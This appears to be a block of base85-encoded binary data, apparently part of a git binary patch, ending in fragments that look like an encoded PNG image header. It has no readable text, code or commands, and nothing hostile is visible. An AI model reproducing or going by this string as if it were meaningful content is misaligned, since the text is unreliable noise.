zMutzexSog(Oqg3WB4*Uf6Diw=O?@=C@>vYF57ST{mt#4q_q6cOMVPvD2k-@a&JDd+ zcdzpXu6wT!X0v5PRq$L>$#=xW`FyRMu1c0!?#lR_3_iro4o?dvz$~ai?6XilYmViR zc}6VEZS81=JYIKNt1+Pe%Df@Ow39`YGCCtHQionA*uVolaBVF>s4r{U!W>O&H&|S$ zDLKz9p-eJ5U2cr`ot4i-2b|f;xAxf|y{Ud@_{hQ~vS8-8&2|{B7_iPp^aYxvx6L>+ z?ULm*RGq36QS#oaqq(!{2 z8*xgjT9q2j1PTeXaeml8CzACP{^}Wy<113P;^~WhZ_de}h5e^@BcUzDlQ-Th%UV2`Ok~D{Q!^ z)tx$~s-Me6pq4FmW1K#(PQ@PTJBNCoAdffj=bUhjR@T2{u4>fOUQcfoRWD|77tt)E z8##tPb~K+GPCI*TtHEfq`%vBSfkcUrLtHRfj!5}lBVmCAcuGAbDvs-|J0tBJXl~yo zwR;44>XZ}3nN5pCxg;#EzF)4+>ag6lW-`Vq^ax ziyCXh1nJu^?^uPRFH}295R|j3o*OsF=Ij(SN&BR_b{D?2=l!Tx^J9+mJaR&;XaEUH zzm=rRzk1;`c<)i|mbMo4n^~`K@nVK>;@}_$ZXioL#J%!l-8A&Ik*4^>>Q+AvnY3`!=%LVAjTY0D6yg~CfK`sE+#M{dFpC-wbyjAa(=ac?PHUL+N(LeH&9N! zk>+dl)!oW#f1j7ML0r3&oV{j4{r3_01}dZvw`QJnma!wpBB(JJoLhvc`>j0o2D#3KecJioO*T z?vMNZ?=`=H^McNo#`S1>b!P0S&1L#k3tN3ICIbo}5%!%O_-O$==zN~Xz@}7E+q#TF z1r4T*Smk|O>&&^&x6^E)BBuY2>p4G}PMMM>r2N6fS`x0*Dk^5{%_?xrzFA{IeGUvk zwE(!I3Ko@w^tIoQm(v`d6Jkj$={?K)B+LAQx;@&ctPSNC?ko+X$kUxHbwG1?Dx%F> zG9_dEbRD^EyqE4xs#7}FyyGS-i)zfDt?GjiZutqYH@~9_v@D7p)hNFf8O|A&&OAJg% z8!G2DzE!KFEwmAnXSy3U!ux*WLb z4{9}(jHgs^rlv^oH7&kee|wo2*-3<{?US{8-9vsg#}pV%cZIO9l1LD-R$rWK7sIQ3 z!#5->QB&+t_X>ZZq;b^$$y;4VPb-IX+#~-CqF`Aj-7fRZ{}1s%4!_4|%ExD_%eK!= zmV(vJcOD&|$#(wg@kvjibNAnz3)ee$|8Vk|u?09SSbcVakx}~*VX5U@!esm8#KOr5 zw%yDc&0ed8<}%GyNNd;Hn({WnP3l_DkDg8A&igOE^)OCHSvu9_tN-Xw(Vwx0#!pYT zC!(lSe{!h&k$?NS5B`&nf8^hM`O#DLW8rJ;_|u9~h;7 z*q@p6q$9udhIcY)gE%%}D+^!Ctr8u?td&RPe2GOzbA^%*4GXz)f%UX*^klYkFyx(Q z0c))ok44byx@)gyd-;LO*fOV@?ZGSUwM@6(aua5@D8nitBxQE=p@RqfJ`Yoc*HWxl z$Q(Fe{}uM{?@J{kw!vM<#N+o1sLrbMJ#*&WCqrwXBk83eD6n#|w&$%m-?>yJG7*}2#p~Z1 z&9sw6=7Uwo=f+sElgL=4lohl83c2ZYc8=vnxNcxT)Rma&(9A+5lZ|?~v1IQYMJhsnA5HjvM13e~8XvG3FbY zuOwXQwpL-cdXD=7tIQuh@aBoN_)2_Zx_OTr4-QW@&vb3LhfbwF@&_OPd%yR;Km4(e zKRvl{CffPQVEysQ&cnm?pAMCu7%4s8pMtLsJaiJi9v=!1c@|Dj&Yv7@0-@96?Gt0o z6C({qaM?qCmFUq+_FvW23DT%oAQM9UEDQS32ML>q)j>dtfY4 z?cDv{@ldJrornCGs&l^(S4o)Qe!)f23i{u>!;+s$5iPMGfWIi+zpXqO; zeX;3twWO!XD$>BPcjUQhYBoA^rVyQAn+=UF6hrJ^BaLPPuF_idtg;`#1VgjlkS7qF z3kGLG{^^i^*6;W7eqdtydk;POs~`GshPh6e$ka@KDeo_r{E3{me|qpk|L~tY_Duh| z(dl3+9?1lA)vPBJ@&+SRZ}=Gbz~~9@(9u$KIvW_HSZuaGJ~t4VKAQ_qgeFguiO!s>rM+v3mhufEdpR+k z_76>+dlJn9QmRxqRaZ(iRRJC#!pYjQ2uk@ zevt8329x;19XT`o+!ksgw_&^8f8m|KvaZ|Nh&zzWczaXD*mZ9_v4M?97>gv9ZBX z(ugw+j}DEF^pB66b(1LHgETQZFgkR0Wbn*T|0$q#;^@=U6T^=`_R!eaxjL;{0ei zP7bcA|5oZ5N+eeD_3VMWX2rk1tk1z^p77NkhwJ`KKYi4HcC^MADtvvczwq2d^^~vk zk^lSif9GSL{;hxerDr{zzdl){fB2#P@}mRAN6sW|zCL&w`}IhF=*(2}=tz_K#?K8m zj*hgC4AqYe*?XQFZn0KGsN1~ zRnkMpn@av&>YZZ~7`Un5{Ad6D-T&af{PxE_^Vr$?vm>2nhdK`(FFxI0J2ln% zo2PyD#55g$)j3TUO9A-G=;-)d_|sqf#`{0~k;A|AhS%Kj&NsZ}y}$OMkG%GdcfWo` zdd;2hdBvN5{iSbtzl-$NUw>&Y(l7t&-}(8w-plqSZ+_p4?szxpwZH!NU-N6f_499f z-{H6Y#-U%l<5zz3cV7Ok5B=h=e)uJCeg7}K^EcVKdV2f&54%ch)wA0EUwGSl8DV|h zo9}wVo9?{hO>ey8&exOPaL2Fk-(Bze)&KfG|0I-QiNJ!_KVB|`vat~>KI99XOP3~p{S&;HL}dhILU_TD$Y;jOQG?VH|gr@P+p+Bd)EwQqgJYv1y!*WUTISKs-* zm!rQMJzxHg4;+5Wuf6HR|M~hj*i|E#Jq4tC4%0E3<{OM`o>sk2v z%-PV%NtKf%-#K)lV#>eKQ_GZ#Hc-m`0-&*x4=v;+PRcQxUT2ZTJ2w}k-|v% zbUjzis$9|&Bi%H-$dV%^bA&7^$6aDZQ( zToG?W4Lj^8vx2RPHf7$15UKSdTgo@xiTgd{)F^qBNp?Sz;EjLYs$ zC(yRH_ywLSb)uc6o$R^DDP?=T>fiyHg*w${1GkZQk(Bs3g$7nrr?N1Q=j5rWfoziX zyUBFqbS5_*v%IY6%oSTWZ>rA|Cd8`D7x7kJY}?V)i+HzKvmpu3~FQKG5upXIo*`J9IiU9x-Pswu~h5C`n?Eh`egTGbEq-TOGpW`kHp0 zL~T7$-mRXYNN^=zhYq~S_p*PzaQGu9#DA06ufkUt316Rh)_Z)g`0U6c_<3@$e%9N; z>N<%-gQ?EGu)lC*rt_0?dGeI` z>0tHIvDSk_ts|b!LqiKc9qBv)bh(z1g$DHf&8Yv#OqU%kW_}cZXQhz9u_FGv}2#-mr1fglVDIQ5AgTOSC zo$}7%JEEA65S*@(9LdMe777!g_?X`xBqmtEwqxS~W|@_f)PQ$p{saLl9LRco*|0BN z3Z%-BRLYf@*^-556SL!?crXz42V;S7f-vMMw$wu?1-$!GhL5JbQ%H(ujYu{YOos=j zhrMw>nPe$VW_86fam1erc(b)K{oaLUjl4G&W)#_#Zfg~Gt7j}8TE%|dkNs-%^_awe z6}}S6-sUTzTJY)f^z?~y=_5lpBB(z#SbTb@gfaBD$I^6EGUMsT$4if#tF!p^r>BdL zoytCPB1SjkcON`$cPyU@92=`WHduS?T!k%cX8XiI?TO(A`NxOqE4S=)mF&t_OPqpa zsybh$^4JiTcXnlZaukesCH{MTQb!r2kq@zjbE#sPmVN6(pqPO*Qy66S)^yqZ^=9}PvkP+|2wFqjhF_WB4+~8>^i^-%ptY z{$!Y$YdjdyKiqZeZ#!?YqsVqcC)wErObZkLmFQQ&RLq-A5rsqJzh1ln%bkVK7i=vq z=98&ui^GwRS+IEho3O9*L zR;_21`dLp*5cNpbVhbsgX#(fO*d|i(bS~=)`vF)aYF9X4jl||o)C*IE++;j4$ttE) zir7W5Xu@w5!l8sGmcgxJ2GrSqf}B5`!vlRTmd^1A;Y!a`WD?P8g)kGp$%H(EY_0eV zd&1r!sv?i1jZ(Cn4Wtt@@yJ9nj+mZuF-&NOoaIX=XL-ApV#Rzom6*$CLy6c7%9o4L zWPC2myt6g+U+eGE13d}Dw}P)PJ+<#H+yC&-ee~IaJ->-aYpt3MS9~Md-8HOc4FoI0 zqwypCktfcEpB#wVsXx|DiKot`o;sI#`fTb4k4@w8|B)jzq10kB-x(MS;_t*0Dn5HA z^yHb?Q>UU&osAzINFN=xjt^OE$sZX^uiQR;F5xOs`Ksxe{^V*Y{!D*t)%4Wa$f{|r z`f2=;!Q}ZZndH#{d%ITS*Qy6uR!!ZSmnTl~?CI#UX9(;Qku4E^o;wqG?u_r*Q?smK zD>gd!{`JHB)#x0y{rd;3XHJKoJe{!9|G&NOfU~Qr*1u^46`n{*2qd9|q5_5*1QhfE zQlyAJ{o7D@0s;yuqNrF9?d+oJcMd5OF!uopgwXN(s4a$Zl?agic%Nr8-20IxW z8`ZbhwW0p}%K2ge+)XybKK<0=DExpVu_!Q!1nUwPk@%1YPXqs% z1~7Z}1uuknA+jg8h6s{94VnE{kj{c(}7kAE&kWPrUyE}2e3l4w{%)_AFFaO@(pMKu&Z>FcW!RnLZ z&-r}QcKXh2op`-I;kwu1T_iQt?Gk+M*>WC64Dx^(rfq20 zvSh<5!W0V=#|2IX+_JCkGA;c3j93-*t^}nvwTIm7@HptcMM9;VXesvy+U}7d%HIBa zd;VaK40hy$9aX>m6V`Nqq*~q5sdz+8OXp$e)i*amra1+2!(WCvwXfIHy-f$(5LUTkN@5#tY9P6H9U(>1@tm@>S#ta z7L~VeX+XByw@; zrj<`I{97A$zVgntRj+PXwr>5hwQoZ%e|i1#SKfhi+k40r>)ye;AG{pwcm{j^KzB4y zKm8tGzV@A!Yc{N0vvC!X8&<7(XXV=UtJbVvx%REa%huMnbR;RBlaW%56iAOIQ}1ov zId}1z*^6F&?#0zl&tLhkIm>3vSvu?aC67P9_{rHzpLucBGxJtH`t(bGpE>)fc`M%8 z+7@R}i;>hNB&F0zW#$s~Bn9>D2(e#}yKu+Ysq1_bpYi#Q-ZK8&(6Kk=$DBX^<#%FB=087o!87xh&Rw`< z{?g@3R;_w%&8j!oEPr{)qUA3vSoZ9KWpkIWowH)?+~w9Q4zmoAw*Z_b<-W-nW_X7S3EFD+gA;*uqh3zjY0H*n6NfNuN6pgO_H^A|7f z7X$S_&|M64-GTZU=(_#)zjVcm3s=3kV9kOBYtUG*VAYEYS1ee#?8QY(mo8iN(&8o1 z{68L>IeYG$c?;*i{^o0omoHnma`nQMYZk0n{nGMPy}-+-UwH9_#mg42etGHISMU<; zIrz#KFJ8E4K9sRw!R(h_dVa~0d64txKf8SSORH8bTC`~Hx^>Iv%=s7OiWLj+?$V_% ztXML8#nR_IcpC6D;AvolYheDe)vKDS2c0u>@_C!bOnKRNm}C$@g<^U-NH7mxX$ z^-g?~RYo2Al1%)F)k3M*RmfJ#*?hG~(oMMjMr^Ef9m1|lmKZxuB6v4fZLyp~(RsX6 z?ZS!3{)DAmL?gQiE4s1A%f4@U?R{tfcBzvMnEc-*-6KTv1+10Ad5o{3fSS^%<;ycA~m&J^9w3c-HSd;SO9z`**&K*JcW@eg#}{`)7P2Q<&K z0>=}{vv?`+G%rx_*2dxiq_>VGI#56(O^1p_MU)eQlHg?&qKb1;3_t@%0GbaYP|(cr zia{mmKq%H6OSMy6h+#;82~7tXHYm$Uv?;0+dF(P79!GSY#t(xHrWsGSF&A3x;|d&<|>Cm1^&Y)(>btQexxsLdTx zP@h{CvQpX*;+T13R3{@Pdcldv8l6B93?M}XOpD24zLuhictb3@LzRNrOj6e(iWZjD z5TpxH?&L*3WWT_fgTg@lNJ?-}7^t7Y9v^7%gYBpP^QDL=l2uPsnRa9vFJ){I6qBf! z0Xn2oek;Rb!vM>5CgaVr5|iXGa&rrEh?jz#*a@HkD0&Q%<~kSz5GrBKOqkiUl>t?U z3@wQOcYzBM`cx2A7$JGp)fAO#!*NJD?MJvg!s2lbLh3zu8t^pWX~5G!f>*Y&_E8tl zf&Dsq@><`~v$6hKH|~t!u{Y!Sm<)S}qnC9z3~jv7qJ;5)GuN!H>p zL;FIMLM~{kRguFq)htV$rXJCh0Aw=0Q;`Cq&>?VbJl7@(9g^smML(p-w+npx(52hk z-qO9|`&Kqn zdBRPlqrdhR#oKZ^=xq1y03WDAK;=kzAd3x{T)Qj;1ZfWtZX=M|WpNi&p845ct7&rCIsm31Tqp2o(4P(cp4bt z8bD&IhCTBSJN!EBX7KA9X`zQ-9kL|+%11RWYO#KkYsC>k>LJt~T9qUm-xGvfT@Zdn zCuH{bP!kO}oZ1JV)xH3~y4i)?EKBc44mKN+N3Na*JPmjn@H7zak6)+Mk3M5}epN&4 zUi@lx^J}~7jO_tv*dbR5Zea(`%O1;>7_S;1)R4c*!!T)pko3L?b#H!ke)oLz{mMbt zPVxS(JPmjn@HF6QpkIEST0iPc|M9mJkGk%Sq+m-_P*OvT*bbL(U;EW!iACE@uJAf` zQ|#{i+HJ@ZT6N%Bt{_)p1bY~|2B6H{`E?IAb#(4(zFWe6b;$L7;y+0y?EPJN8t^pW zX~5G!zx;a4PTyJnV{a)QdEFZc(H7}l{7P2uy8Xk>`l}Nf<1Y2}%;1>HdnlHWtGfhC z7F>J0kz}RN!?0?Atg{Xb_uXFU`h*98!8)-A)wy@FrvXm`o(4Xu8tBhI41PV^f6R}I z6TkjOOtN`8C~6@}B1^3fzs9fxYm)dT^3sWsarv^>O9@|bZ)B6>HzxBtv6-B*57F+E z-H&*3$QtP3&b=vi?{(Anv)a1nIUc`$RR8$B`|>p4X`rSW=#O8I?d8|kdiXWs@++}c z!LMA*L}CF{S`Y&Q_>~7`cC#j-(%qJ0$vNQQ?t)5u0!4xdr@D?}PYzuJBuJP<0{4S{ zieBOQ#--1`7VW;?tso^tXEA;A!hdc%@KwCJik%EtNN9&tJv9{_fb-0@!S zsR5TM|090ghfBHdTOPj-!k7MG`Lo}T$Jyfs>wctjx0&GqJ&b7t)l4~&;zUTNAs|m2 zvc=JiNYzZD^Zx*~8xMN!1qMcv3faCaQCI$R?ZVIVl`v=%z@jH7#rnMmr_3 zDZy@SV`8#hAD4F~`JD-|CKBBafNfE(J|#C&DzG_3ZwgX4(!v^bNoi9k^=?OEV=%cr z#&3<%8#~kQ`eR!oEZRetTVg2(=!)MOmbQ08zyQd#!ig=h^iEpZnie<3#d^+aX7r|L z6sdIzRv-~=RK-LAW#N&8Kx!5&tcnuS zO^L={`(LMS1;0+aB@2GV{#S|aK!!gzez<%6b$5P6q90^EM3x_p2_QMGASGK`>&w+r zzFb+c`jwk+yX$WcKeb_NyP%N*rIJpnleP!AS6|=qwQqcX;iBd7WI~cTO=Dou3T&r_ zY9E!tWn6`NAnPu9|%A<+a3>lh5r3Cw}Q0pE~uTiDzDV>;>1H zbQ`Bxlq-W3xrxaPP^ zzWbAhU#L$qyx1l(+p`u;B|4Nuo1Cn(%=S*EzEu}nl5J*~gvz z-@}6A&$$>l?Mv63blzphp7rG;PdRVej7v^9_tN9ezPMi;d)9yVi{sC^#O-PiV30?D z?hBJnJ%94_FCKN;1)urCm3WB@;rQ8?eG}Kkaa?rj85f;={^dZwoecKiv>9KVa@whv ze&bue{LND>9SWnQX|aXoTk{28=4hEqk=P@tk;viVS5=R=i>$I35v3RlO6O7(lYV68 zV}H2sfk2o_P#VhY04;tV<<>#5aVkf#DAZE@%LD)T>-~QdMV_W%Str?a00reOC8n?) zBGsx3ogi9|U-zpS&>M`Wff{N6S;oXhV#2afosGeM#eM`qYNwSbWn_N-m&eZj>UVb1 zO0rn(RCBGVa$K@o)43MPtR*rnxWry)rSdV&ZcJEhbm83=M1gj7u%)PGx3k&$xUxMA zJDX#Rc5~Xm%aB}drLCc(nK6ky%IeLG)lBDGsd8(&(v~i_rHjpJtDViX@!2NUtfP%O zCf6j|?V5ej^}qVtoP`wI8V|kQRZ$cnZZW~C5h46a*KJ8f|M>h%Kl{z!x9tpOZCmfM zQ5$PmfO=a(o^*wVT(VI>4Gpb2VCSZ7_X~WgU!Z4<)_n{8LrO&=xoj6+s+I05;s|3^ z2I^!V#|Kh^)>UpxQosG<>_=uUN%ApK55R;~wM4D>RWqVgx(TUwpYDHV-5U*&l#wZr!fDUH@Zw!}|57(3 zP2-S37YS@lEiSR`e5yI4L}ad`hJVbS+u75Ar-A)S18}TK%}DfyB&-^naQT&&+i5wr zv8m&mxBU9GhVZ5^y}l!`$sc`lYpkwA+tJSK=t$QR^o|bNxyo*GOLM9*By4I-w8oTe ztyGxJ;hfFQiMjyY7MH_pW@BTdB`Utx5Z>ON0)}OT+x^Myff)Rs+x_Y79n6k)0jO&O zn4Ny6E|9Jd!6Ta9)R6?cZw^YYHL-Kv_FwRg9~!x|z|@fvSYlj?wU}%RO>Lo#&NfXt zu?mU z`tx7!lXcveEgSjY{^7wN-*NBHe|`TS{yOX4`)1wsn|}hoy>C`9u5wa7Td<#c?)j&l znI(v{u9HeHNJB62ex7Q{88Lxw_4w7(fTw{GqXBF{Aj?-OmjDpq2v-{~`_oD+Dj3I| zdCBIWfTc~>>X7qrM*$? z!u6`qZLVye^x2C!jgC<}1towwW3}Q}jt{_iMI9ATqbSA^igw%WH#N01N}7%z-^?eU zyZN@efB%<%KK9gt&X}^bE;e_;Tetl5{(Jr~>&fR=8hJaOma?VlZFl^%u3@{GK^fC9 z%CmrCd8RF^M+LfN#LO(-GP9=vPXkzKa`pjYDT_;CZHNRn5q?c7{cST!P>^uywnj&Wx`h%tvFs0|SHYRXLO!DQTT`Jmn7*<_&6$g77CTOc`cm|m- zRI|krfCjm7XJExFk!AQ`&0H>D&g3haRRQ}-rv28A^y01Dk!N2SqJoMRQcW7wxb2E+ zFwHEpy)(75fu=um(Up}hGJY#x$P}}ca;~eK=^C;GQ`=p6yOLKW8tqbEFXoJ#r8+(5 zx=Q&yWVM*9ma=z@?I4Y?bS{TLJJbv{w;AvolXaHdxq$HOZc6RZlaMxITWfXr( zNhOrh^ozc|{GIl?s3?|7w5q@`0V}}wS1DC%3H09&K$)dNwU8@ktpX?(4Zy_2u4l`| zimn#7J9q=e>JsxFgdYQ?X*LF#OS zUj;5g)8VI{p1Eb~d#bL8s%B&hTBfx2)pw(m!YM^j?-C8WDIneSvj@I;{ap_|z97XH zB9w}sLMWd4<*)9h*aQlLQ*?)ACKE6?Tr-6^M23&sSCGaanC>FJf zvG}S6k_y!nSEihH*=yTVZ`DV%Y8R`?rLt{knOr8D%UU%A`tJ{;e7++NJ6uy#LxcTf z<0Ww50ps2FxUr*&TQXxBI_#>dX=nv3g$)B>Wajl$m1^ioHuO=RRz`?*;@zgFfqiR$@GExJ zi%~ZV4ffn~ip#HbQ%pbU+;6Vil3u&1Ln&9xa?UhOa7-?5))ZLJ!}6g47S&ZO=3%n~ z_|oU|VM#Ba&!T~sco(OQ9Xnb#v<6X5FxkYWMn4E>JKLpE=!MGK+qDVFdn)?X1n%m{6wgizd?#5aW%H7Sd+bh5+L zSXriTxbb`0oWXE3#qq4D=-DF0t7*YV@#c$5Ub*qMU;oebcmC)ne|&h>g1XjJO2{Qy zQ#H%Hq(A(RM|Re2WtbQ?`5;{j$F{+Eb^ODnm4R`QMU4|+ifGm|r*lOk4I?JBg#i=1=N(hSuCk(wHoeQB1;7YhX}$J%y^O2WBasuUGXg@u+Y z)=)6hTKvMP{op$n-Ns<=AKGq{TiR(cE8 z(C-L6ScQyIFu|`$=7Zu_RZC%CO*#?C7`$N!-}s+v@X!%UL>WQkB$eXj&S*NxX-)pv zUmt$*o8SBK_iy^e{H3oobfnT^9u{phDba!^s>Xv4J<`-%2YyAO2~$h5R11QeOza%< z_;tV9LE#O?(?BgXKsM7Obv8+%8pYx(r#7cGe_Uak;@RWR{_d*x=vD7_O4yiDG7VGC z<DW?siz2OfL?$Te5a@G70F zm_{CpViX#PJEq0tFbz^RilPG<7X>l|P=ajcxJ+5XTY5sTdBTXMB9r0i(x^KR|)KYj+_sOH`FYwK!_rSV@;t3@xZ4K8xd$rsDX}?+85@ zc}pr7Y2EtZ_!WDqOq~|FxFV(`iMsW+AIS=j{1VY*DoJy+faj*HY?W8P_U`pJ-TD0= z-SN;9&!?pfZ{-wN<>gTf<=&USChT=P5Y}u|_#XNbA zsgx90!f?@#hQehWPqK8Ot2FlG2WHFIxzdGC;V#^BFp{C)5qePbCipd_nF-oH_4F%x z{lk(Rt(AY6W;!z_3w}icCQ(d3{=`3Ce`6h-0M64#2KH-$7Ne9j`=#ao?+3Tuarf^x zY_H>WD=jLKBn|fEL`{-)mgRr>i@Smyt(J~&AZjTol6e^0Y9)_cJq>so7(p87E~`aK zh6E+Kky9HSenoQH(lKZJaPeErqSyVbg^dxKX0RDNsAnYjV`~S^kl}$WRq~1^!cocc z)Yt&9GWd6|kzAtFlUU*_+`P-ZUqkc_XJ`s6kpld{acDTS$D97@!5J zKCVqW`x@|TMzgT^s^!z<5*by?=tGocyCNIXxQ`#eD;x|;J*(+i0}a@kFfKENJPceP z7E7JLFc_M!GVv0YE*f|j2TNVmG|P-0KgKGUFs9L)Y`{XzN0QMo2g306jYT{Yo@vJ5 zF~*wL9wckO2@_> zFbeTXh+0CRiKa_ri4ogGoCboMD%FA$-&87lt&FP5gjYI>(GD7U1(Jh!KynEN6 zQAF`zjnXu+HpgHIRyA1gqNtf_)@H=6#jkYEdDWP7#*MsgigJL0*{X+ihS;x~*hvY@ z&bV>hIbTBrG`1BP1zyReRJgY-8LP`flz1HBWM<4b9~=O95P|8BM-V~f1&KFuSkfjo zC{|TLTI0r#h1VA**_Z>zk_Fl#HXwDsi#ATfXY<8Orf5dvp=c^h*1TcV>PQY)bdRHr zsIC+hmvp$7LANE0pBVR9y->|zY1}Hn+cDHTLJta73UZpuucu7E`~%@vCB@MZCLKX2 zHUhn3@!#907_y-Aj7&vUHli|ttQm`GyxX`(aLfiuhymX z_K3(*j!2*7K^}9Lzim@RMo`38cmfMI$d&-1Szrzqf3?q zT~n|R2U~-B4`wV4aj*xDAA>yl2!c%}BGpPkkr8rS9;Ok(r7FNN4v8DLG#L&*?Dfp( zoTbt5BO=Qzf|hw7(IqK z01$5Ncmhh1SP<$OJ=TW+X+b7YV@S@y@##X@9CrY?GpDFL`a%C4olT;|ppDUDMIL#1 z@%%v^cPbXmB=RK#5^ai(V~Kj`cZ43W=q_aB1f1;Y4~SobPEO01uBKTkoK6P|1^t<4 zpM30znOKEJe3N44v|NP}%>~QX{qUBb|L~SOXFdBY9NDt21*4Hl7b3yLWy_ZR?fwT8 zfma2FO@vG#nNukg&jGoLsTPl4N6z%>-RTI|07{cOnf;?Eo&$)>yLTw;il=h7fNNYLTI2aN~qjU5BZG_XGh&H(JsApuH0-$4f-2#FS4 z#UNd>nWtb$B8$i;wBaOx%{Kl(L^qLh5KxRXx{}C%s&VA7!~g5R@uP`{+>k-QXyY7L z;@xs3hr3WUILl=xQfjDogdVV1AXsKX&P3_*DW_io107LgEZ>gY`y|~Ml6nfLpVREt zr$dhB8#d>xdwbh2e*3p? z-|&-lZ@ouyJr^r&ong4$w`|*b`|Y<&B99&ABqY;xP5Pp?&2`S&15I=MJ4D8lTB_r|9#)3}4-GXvY zE@zRvo`hec@uBl;#*C2~7i_C2`0=&DU5qUMRz~Io`nkDte)6-sW<4`I5J{=os$$t% z&NgzTI8DE?{+*j|yY=x|k0Agro(RJi(I3B(;;$aRj+D7|WSD5)xA|{UI0<2#KuXl1 z(7L!ol^S3QFd`eFt;3G}(o>7uo>>-dO4xDT77BJ;fgxLoskwww*iU3sFNTeL*r=5Z znfZ{JbEJzRfl-cS?M|)SAs5gHYSob5)h-t1uWwzno&DsgSJGLedC$T@@XlnsnN9~(m4?eZmIyaAH7;Gb>YjW5c++in{O(T={BzdRH{E{w zO}F2&aM_~HXaEU^(@Z>(48nEc>?n`PJPNJ%+OHnDdbYc#ff1wuB$p86RzYcylx?!I zS(P`-@(x}Kq$L(*Rxi5t=a0V7Ja?_|;yUSxmpUJt+qmGh=#wiO9$&q4|G~`FJ04xV zqjvJqHQRQww2zZhCOpwuhJ3J+ZEB=9=cm*0#)C)B5{4>mOLKdHNMMgc$4t z)e+Z%%{ho4R^?7Xqmp=pNv6)c?5fopw>AaCG|M!%)Q3~yVA@0f8t6>Nw>0|$N#WhC z^;cf|b(Tf?sd!FfEGfPRzdHWm;jmvhrbXpCOeth4VMB_jQdAY=ij=^PSR`XY*gDou z>Kp5}@7&SY-1PQ_cem`^jGQL^U~`fR8x~Kqk!saQr;)S;nVX`0_?5VbJ>%6gcRUS@ z91Wm29TG}#+BQMkEU6nov4XOLlLIN44Kmp~?wfb!Wxu}mrswat?~VH&-~N-|F1z{O z6}LXJ`A3g#-%oJUKepfU@U|a6wC%QsY9i5XKX`D*Z4d6a{h^&V-@oOjk2KuzkH%a7 zj+b?JKHBo@S@maKedoRZd_lBI2xAtKtz|7#(n2EB%1N;hn`md4pWpw$uOE1D_M*jY z9j(!Ltg$0n?@xFbNCRzA=BXDJU4Qefe}3R^rm3@3G;i@@nnb+!^$)xJI@I-7c$pR6 zk6o&U7?kKXg$-oXxP=7$OsJ3%5K)Yb69^ekCc@aa!*VHDtD=(b2-YbEGEcRX7B!XNK$N=ND$A0zrbp#nMBZoq~JKcu{V80^aFrzi_>JFH&lCncUiU~Q8mgz8W zL=^j;M^;_)qkkTE_7A5{|L)XNulvjwZaU(un-4kX_D`LC`~Dy?j0tD`1UT}{nn-jD zOzICuoq6Yxr~mZW&)*Gs*eO4r@VTE(oPNhCU;gE9A6*h+HBxp*Vbye7Q9Y|3au zK8i3MQ7XlDiu&`Tk6!oP@67o8IVXMkTiDg z4}W<8kzm+Il!*F~jZtDccLn4+>#xHT-voX&GuHs_d9XBH-Ull8%bqjN-&Mb;FyFJPmjn7$F+K zB!J>MoP^B7q|iD7J0MZ6j+UsVP{g$Dm~JPtcG9wiqOFu{IcIA{0+i+4A0*0ID`gvb zZ;>>p782c}|A8QvY?PAWvIGbprIGc}wpA1?MU8EV)5Um6iy2HKAKhXpomPepCH!%L z(#l0j!7d^V+ftDN!m1RFYT2w*J-N3ApcYC}1WiNoDeT#W>8Qz+E+;hsf!RG9UUuVG zZAkIM;8)_sWytC-ST?K1O(~*_QA3KsqhqKEWa^jr5R-1_7$>*gt^5utJ=M6;U&ALY#n4b~oIYLY(De08&q+D0m7JNbnR-bn*g) zz?L)>Hx!ypG$XCQ#WgEbogw+tsb*PEBcV^2!f07!!)N#uO8w9>lIo>A*{=rhoR=x( zkf0G6qlibA3TJdC9&9LDjLWZN!%I&=8jxL58U}vFmT-5w>MpoTr+wl6Ig#QRq90{3 zASG9J12(mbT~1MN{neX=Jq?U34e+S^N?}u>#!xzwu$U-z>0o-nni1?;lrK#yv6LF6 zl^~<|c|<}Wst-jT)^boEw0t% zS~a9WAbUunoR~tD0!E~fCmCdn=NQL-5QbJg*`Ef8#)zVX6nU_70&;s?t-JWHo9u>* zU!8rmyYVY|@N}5GF9>}SpO3?=ec@27$FC!6CiQmXcpB(O17VV3hD(?Zx#s9#jt*EX z*;a`80fEGvOe(GuW|bSUb%!K)a_iacAHZ_}CPO?B)D9+|IZy$mTZYLlVP-&yVPN)m zB3ekkNo*zt#X^$YlO(}V6b}T1Qw4Aa2*c$8j|Xu03=#+9VE_#fjX_J0yYF`Cjuz@` z6FT{uv<7)d`6Xa(?piC|&1T(;Uy0%D@GF*8dK&Ia2i^ATo>r{KI-UkR4U8BK;ECK1 z>k64AvTS>vCdeVHA4e#`b$tPtK#+(I2MO4Ki4vLn2S`rGTIR#)onT$hd5oZ z*FF^6!>Jy>dUlMb0Z#+221GwhQf$jK`Nk~Qm}i>vOe^>mbW2>CJgHIPvF|w2+pb7)$?b6(ce{>Lk}}lwS0|BiFLpg2^<5u!voiJMW^(EbIMoLB zWLdIw;gIWYPGgT?JPmjn7!eu(i6Ur|?0*#!sHTM|VgeRrwYu$8gbgFa2@?*X2Q~)m z{=DAz+5IEg?lF(t8FiP-u{ob+okx=}BgGgg!C|u#T)_^%qC$~dq=+ov zI+0NBE)P%ks{wEm)+u@cpGqHo?Q6Mq$CRbTz4`U%`U9tTobtcsao4O%2sTG2L^Z*P z9fIV9AUVbkn1k=S*3Su+3r1<^02f;ku)N z22<<)2de~cJcHHPzR$0k|1r?`2YYwd(x`yMwvT^)pU-TXIq|bM1bo^J8 zBfldY{;ihdf3$tlch(&7^_M1GGk@}RtEXQ3+SIEzOuc%ugAJ3feG54H+6_lvv+?L_ zHXn8Mdq-Wp33Ad^8z)`0;m}LpI`q;v_L6T;ykg75%XjSmIP~Jp!-C;4C; z1aCZp)!4qzueCmhtADQ_PXm25Q0w{XL!s>>FW+{?cZ1_kTk?tN%X~-8@*VmQpKtQ3 zzH{q8ac$sJ-)i=Kd6nq9dKduxGx6BeK9=d!rI z_R(MTyBPI_j$VxWQm{XSedh%og!Xee?xMuFi{e9zgpkH*JOQ_;tSHU-zBxs_&##zE3aooif|^nc2RRmX4mb3K(_#N*BK4 zRuCM$s2@yT;5&Y?Z`w<~X$$vvIpqc4lsUek%i+4yfksm6{s*f8Z#;w5*uKxNwLXWd zf3F`;1AR46>-p-#qV4179d!EgQPW-+Gi|nS;uF5{$2{sg>`%UlfAk&kJKv-~_$J=x zJ8Guy;75FiJnuVXp6^o&e22Z@oA8ux(j&g3|Li;J&%VPR^BwXpf=@o#jsKeE`>$D} zj(Dyg;Dd)g&O327GDo}Px#1ZP1_K>z@;j|==^1poj5AY({UO#lFTCIA3{ga82g0001h=l}q9FaQARU;qF* zm;eA5aGbhPJOBXyj!8s8RCr$O{RNm^MbB$B7VkZI`2c+TA7H@q`2k z?mo!Cz~BsSNr=09+TGpV>%VKC!0-&r`@w&Gd@t7nVX?2%`|MM@YSpT$yOtHtdC^+2 